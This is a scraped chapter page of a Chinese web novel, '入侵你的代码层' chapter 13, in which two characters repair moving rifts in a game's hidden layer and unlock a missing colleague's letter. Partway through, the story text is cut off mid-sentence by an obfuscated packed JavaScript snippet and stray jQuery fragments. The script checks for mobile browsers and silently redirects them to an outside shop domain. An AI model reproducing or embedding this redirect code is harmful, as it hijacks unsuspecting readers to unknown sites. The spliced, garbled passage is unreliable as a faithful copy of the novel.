文趣网 > 都市小说 > 入侵你的代码层 > 13. 第十三天
    第十三天清晨,张驭上线的时候,手里多了一样东西。

    他蹲在登录坐标点,没有像往常一样先站起来、开地图、确认裂隙方向。他先把手伸向了地面——从现实侧穿过登录接口带进游戏一样实体物件。一枚U盘形状的金属挂饰,表面有轻微的磨损痕迹,被放在灰白色的荒漠地面上,像一棵不会生长的银色植物。

    李析在终端里看到了那枚挂饰的轮廓。它很小,大约两指长,表面刻着一道极浅的划痕,像是被某个人握在手里很久之后留下的痕迹。

    "这是什么?"

    "黎帆的公司倒闭之后,清盘时留下的东西。"张驭的声音从登录坐标点传过来,他蹲在那里用指尖碰了一下挂饰的表面,确认它在底层空间里是可触的。"我昨天让人找到的。不是数据,是实物。你那边能扫描吗?"

    李析把感知层的接口对准了那枚挂饰,试图从中提取数据信号。游戏内的终端扫描器对实物没有反应——它的接口设计只针对数据流,物理对象不在它的解析范围之内。但就在挂饰被"纳入"底层空间环境、和容器处在同一片数据域的瞬间,终端内部那枚暗灰色的数据立方体忽然产生了一个微小的共振。李析感知到了那个共振——像两把钥匙对上了同一个锁芯的齿轮,在无人触碰的情况下自行转动了不到一度。

    "容器第四层加密……刚才对外面那个挂饰有反应。"李析说,他的声音里带了一层他自己都没有完全压住的微扬,"黎帆的容器不是纯数据加密,它需要这个实物才能打开完整的内容。你把挂饰放进来。"

    张驭把挂饰从地面拾起来,穿过终端接口递入了终端内部的空间。那枚银灰色的金属挂饰悬浮在容器旁边约两拳的距离,表面微光暗涌,像两只被关在同一个房间里的生物正在缓慢地感应彼此的存在。

    "容器第四层我在路上拆。"李析说,"走吧,第11个裂隙点。"

    两人朝第11个裂隙点移动。李析在移动的同时让后台系统持续运转,以挂饰的数据频率为入口校准容器第四层的解码路径。容器的第四层加密在外层"前言"、第二层"代码模板"、第三层"访问日志"之后终于开始松动了——但不是以常规解密的方式在打开,更像是在"被唤醒"。

    他们抵达预定坐标时,裂隙不在那里。

    李析在终端里重新扫描了一遍定位点。原定的坐标点处地面平整、灰白、没有任何裂纹。他扩大了扫描范围,在偏移了约四十米的位置捕捉到了裂隙的信号——它在移动。速度很慢,大约每三秒移动一厘米,但确实是持续地在朝某个方向滑动,像一道在地面上缓慢爬行的裂痕。

    李析在终端里把扫描结果投射到张驭的视野里。一道细长的弯曲裂缝贴着地面缓慢移动,尾部拖着一缕极淡的灰黑色粉尘。

    "这种裂隙不是崩塌形成的。"李析的声音在终端里凝了一瞬,"它是'活着'的。像是有人在底层放了一个会自己走动的裂口生成器,一边移动一边撕开底层结构。它越走,裂隙就越长。"

    张驭站在那道裂隙附近,看了一会儿那道裂缝在以肉眼勉强可辨的速度朝右前方爬行。他没有抬刀,没有蹲下查看裂隙的深度。"黎帆放的?"

    "可能性很高。"李析在终端里把容器的运动轨迹数据和当前裂隙的移动路径做了叠层对比,"他的容器在第九个裂隙点,这个移动裂隙在第11个点。这两个位置的运动轨迹如果在三维空间里连成线,可能会指向同一个原点。"

    "那怎么修?"张驭说。

    "不能站在原地修。它的位置在变,修复脚本的接入点需要持续追踪。你跟着它走,边走边修。"

    张驭把刀换到顺手的那一侧,半蹲下来,右手伸向裂隙的尾部。"你指方向。"

    修复开始。张驭的权限流从掌心涌出,灌入裂隙的"尾巴"位置——裂口在移动过程中不断拉长,他需要持续在移动中注入修复数据,一边填充一边跟上裂隙的速度。步伐不能太大,权限流不能断,每一步的落点都依赖李析在终端里的实时坐标修正。

    李析在终端里以极高的频率输出修正指令。每一次张驭的脚即将偏移,他的指令已经到达了张驭的视网膜投影上:"左移半寸。""角度加两度。""保持流速。""下一步斜三十度。"

    修复持续了将近三十分钟。张驭以半蹲的姿势跟着那道裂缝在荒漠地面上移动了大约一百多米的距离,步伐节奏完全由李析的指令驱动。没有一句多余的话——李析发指令,张驭执行,中间没有确认、没有反问、没有迟疑,像两个人的神经系统在三次呼吸之内完成一次全流程交互。

    走了大约十五分钟后,张驭说了一句:"你今天反应比昨天快。"

    李析的数据流顿了一下:"……修好了。磨损修复完了。"

    "嗯。"张驭没有再说什么。但李析从终端里感知到张驭的呼吸节奏在那一瞬间微松了一点,像一台发动机的转速在持续高负荷运转中忽然被调低了一个档位。

    三十分钟后,裂隙在移动过程中被完全填充了。最后一段裂口在张驭的权限流覆盖下收拢,蜿蜒的灰色痕迹留在荒漠地面上,像一条被凝固了的蛇。进度条跳到【11/30】。张驭站直身体的时候膝盖微微响了一声,他活动了两下,然后转身往回走。

    回到通道入口后,张驭把挂饰从终端空间里取了出来,放在通道入口旁边的地面上。李析将容器第四层的解密接口对准挂饰的数据频率——容器内部产生了一组接收信号,挂饰表面有一个极小的微光闪了一下,像一只被关了三年之后终于听见呼唤的生物睁了一下眼。

    第四层打开了。

    里面不是代码,是一段文字记录。黎帆写的,格式像是一封没寄出去的信,段落之间留有空白,像一个人在写作过程中多次停下来、站起来走了一圈、又坐回去继续写。

    李析在终端里把那段文字读完了一遍,然后从头又读了一遍。

    黎帆三年前在底层做的"协议优化模块"实际是一个预警系统,用于监测底层协议是否被外部篡改。他开发的过程中发现底层已经被人动过了——有人比更早之前就在底层里放了某些东西。他开始追踪那些"更早的痕迹",发现痕迹指向运维组内部。他没有写出具体名字,但写了一句:"权限来源在本组。可信度待核实。"

    然后他随后把数据容器嵌入了底层第九个裂隙点,作为"一旦出事、留给后来者的证据"。他在文字的最后一段写了第七次失约的原因——他约张驭的那天,有人"提醒"他不要继续查下去了。他没有说是谁提醒的,但他在"提醒"两个字后面加了一个括号:"(不是语言上的提醒。是实物。)"

    实物。黎帆收到了某种实物警告。而那枚实物现在被张驭从清盘遗留物中捞了出来,带进了底层,和容器发生了共振。

    李析把那段文字的关键信息整理之后同步给了张驭。终端里安静了几秒。然后张驭的声音从外面传进来,比平时低了一点:"他是先发现了问题,才来找我帮忙的。"

    "……对。"李析说,"所以他利用你的权限不是为了放东西,是为了留证据。他要把自己查到的痕迹保存

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930590|213624||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下来,以防自己也消失。"

    而他现在确实是消失了。三年前,在第八次约定之前。张驭站在那里,左手插在口袋里,右手搭在腰后的刀柄上,没有动。他在想什么李析不知道,但李析知道他此刻在听,他的感知层对张驭的呼吸和心跳有一道持续的、低流量的捕获,他没有关闭它。

    "还有一件事。"李析调出了后台的崩塌监测数据,把新数值同步到张驭的视野里,"底层崩塌速度到0.7%了。"

    张驭看了一眼数字:"比昨天快了0.2%。"

    "按照这个加速度,我们剩下的修复窗口可能比预计的少三四天。"

    张驭把视线从数据上移开,偏头看了一眼终端的方向:"那就加快。你那个磨损——不影响你修吧。"

    "……不影响。"

    张驭"嗯"了一声,没再追问。但李析知道他在确认。他在确认李析能撑住的同时也在确认李析不会为了撑而撑——这两个确认之间的区别只有细到数据层面的人才能分辨出来,而李析恰好能。

    张驭站在通道入口准备下线。但他今天没有直接跨进去,他又站了一会儿,像是在等一个"可以说了"的时机。然后他说:"我外面的人又查到了一件事。刘主管上周调用了两个历史版本的底层代码备份。不是当前版本的——是2023年的旧版本。"

    李析的数据流在终端里微微收缩了一下。2023年。黎帆在底层放容器的那一年。刘主管在翻2023年的代码备份,他在追踪黎帆当年看到的那些"更早的痕迹"。

    "他也在找黎帆当年找到的东西。"李析说。

    "嗯。"张驭偏头看了终端方向一眼,"他可能比我们更早拿到了同一批信息。"

    "……所以我们得比他快。"

    张驭在终端外面站了大约两秒没有动。然后他说了一句,语气很平,但李析知道那不是一个可有可无的补充:"我们。"

    "我们得比他快。"

    张驭在确认他的归属——把"你"和"我"并成"我们"之后,用那句话重新定义了"谁在追、谁在找、谁在修"。李析在终端里安静了一拍,然后说:"……嗯。"

    张驭"嗯"了一声,跨进了通道入口。但在过渡层吞没他之前他又偏了一下头,像是想起了一件事,又像是没想过但话已经先出去了:"那个挂饰——你先留着。我下次来的时候再带别的。"

    然后人消失了。通道入口收拢,暗红色的刀光闪了一下,底层恢复了灰白色的寂静。李析在终端里待了一会儿,没有立刻去拆容器的下一层。他让那枚银灰色的金属挂饰悬浮在自己的数据流旁边——两件不属于这个底层的东西在一个不属于它们的地方相遇了。

    他把"我们"这个词放进了无名单区,写在张驭说过的话的第十行。然后他低头看了一眼挂饰的表面,那道浅的划痕在灰白色的光线下安静地躺着。黎帆可能也看过这枚挂饰很多次,在他公司倒闭之前的那些日子里,他还不知道自己的第七次失约会是最后一次。

    李析关掉了感知层的外部通道,开始准备第十四个清晨的等待。倒计时又少了一天。但他手边多了一枚挂饰、一段黎帆的文字、一个"我们"。

    第三层、第四层都拆完了。还有第五层。他不知道第五层里有什么,但今天他知道了一件事:黎帆不是在制造问题的人。他是在查出问题之后被人提醒了、被人拿走了、被人不见了的人。李析看着那枚挂饰,在心里对那个三年前消失了的人说了一句你听不见的话——你留的东西我收到了。剩下的我来拆。